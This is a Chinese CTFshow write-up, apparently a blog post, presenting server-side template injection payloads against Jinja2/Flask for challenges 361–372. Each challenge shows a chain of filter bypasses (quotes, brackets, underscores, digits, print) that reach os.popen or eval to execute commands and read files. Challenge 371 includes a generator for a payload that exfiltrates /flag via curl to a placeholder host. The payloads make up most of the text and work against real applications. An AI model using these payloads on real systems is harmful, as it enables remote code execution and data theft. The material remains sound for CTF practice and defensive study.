CTFshow SSTI
参考进阶
361-362.无过滤
payload1:
?name={{ config.__class__.__init__.__globals__['os'].popen('ls ../'). read() }} shell命令?name={{ config.__class__.__init__.__globals__['os'].popen ('cat ../flag').read() }}
?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__global s__['popen']('cat /flag').read()}}
363 过滤了引号
假设传入{{ config.class.init.globals['os'] }},因为引号被过滤,所以无法执行,可以把'os'换成request.args.a(这里的a可以理解为自定义的变量,名字可以任意设置)
随后在后面传入a的值,变成{{config.class.init.globals[request.args.a]}}&a=os,与原命令等效
Payload: 比如我们要构造?name={{ config.__class__.__init__.__globals__['os'].popen ('cat ../flag').read() }}但是引号不能使用了,就可以把这两处使用引号的地方替换掉,最终变成?name={{ config.__class__.__init__.__globals__[request.args.a].popen (request.args.b).read() }}&a=os&b=cat ../flag
364 过滤了引号和args
payload1:
cookie方法: ?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}cookie传值 Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
payload2:
char方法:可以用这个payload判断chr()函数的位置:(bp抓包爆破) {{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__. __builtins__.chr}}爆破结果意味着__subclasses__()[80]中含有chr的类索引,即可以使用chr()接下来把这一串{%set+chr=[].__class__.__bases__[0].__subclasses__()[80]. __init__.__globals__.__builtins__.chr%}放到前面原始payload是{{ config.__class__.__init__.__globals__['os'].popen ('cat /flag').read() }},接下来要用chr()进行替换,对照ascii表 'os'替换成chr(111)%2bchr(115) 'cat ../f*'替换成chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2b chr(102)%2bchr(108)%2bchr(97)%2bchr(103)最后 ?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__. __globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__ [chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2b chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}
365 新增加过滤[]
payload1:cookie方法
payload2:
可以用__getitem__和pop代替,因为pop会破坏数组的结构,所以更推荐用__getitem__观察上题的payload,一共有四处中括号第一处的[]直接换成()即可第二处的[0]换成.__getitem__(0)或者直接删去第三处的[80]换成.__getitem__(80) 第四处的[chr(111)%2bchr(115)]换成.__getitem__(chr(111)%2bchr(115))最终payload:?name={%set+chr=().__class__.__bases__.__getitem__(0).__subclasses__(). __getitem__(80).__init__.__globals__.__builtins__.chr%}{{ config. __class__.__init__.__globals__.__getitem__(chr(111)%2bchr(115)). popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2b chr(108)%2bchr(97)%2bchr(103)).read() }}
366-367 过滤了_
attr获取变量 ""|attr("__class__") 相当于 "".__class__request.cookies传参 ?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr (request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}cookie传值 Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__; x5=__import__('os').popen('cat /flag').read()
#
368 过滤了{{
测试发现{{被过滤,使用{%%}绕过,再借助print()回显
payload:
?name={% print((abc|attr(request.cookies.a)|attr(request.cookies.b)| attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e))%}Cookie:a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e= __import__('os').popen('cat /flag').read()
*369 过滤了request
payload:
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
构造po="pop" #利用dict()|join拼接得到
{% set po=dict(po=a,p=a)|join%}
等效于a=(()|select|string|list).pop(24),即a等价于下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}
构造ini="___init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
*370 过滤了数字
payload:
?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}
分析如下
几个c就代表几,比如c=1,ccc=3
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
用~拼接 构造coun=24
{% set coun=(cc~cccc)|int%}
同web169
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file="/flag"
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
*371 过滤了print
payload:
http://c8f74fd3-a05a-477c-bb97-10325b9ce77d.chall.ctf.show?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}
cmd后面的内容由下面的代码生成
def aaa(t):
t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
return t
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+aaa(str(ord(s[i])))+')%2b'
else:
t+='chr('+aaa(str(ord(s[i])))+')'
return t
print(ccchr(s))
*372 过滤了count
过滤了count,可以用length替换
跟大佬交换了思路学到了可以用全角数字代替正常数字,大家可以自行探索了。。。。。。
半角转全角代码
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理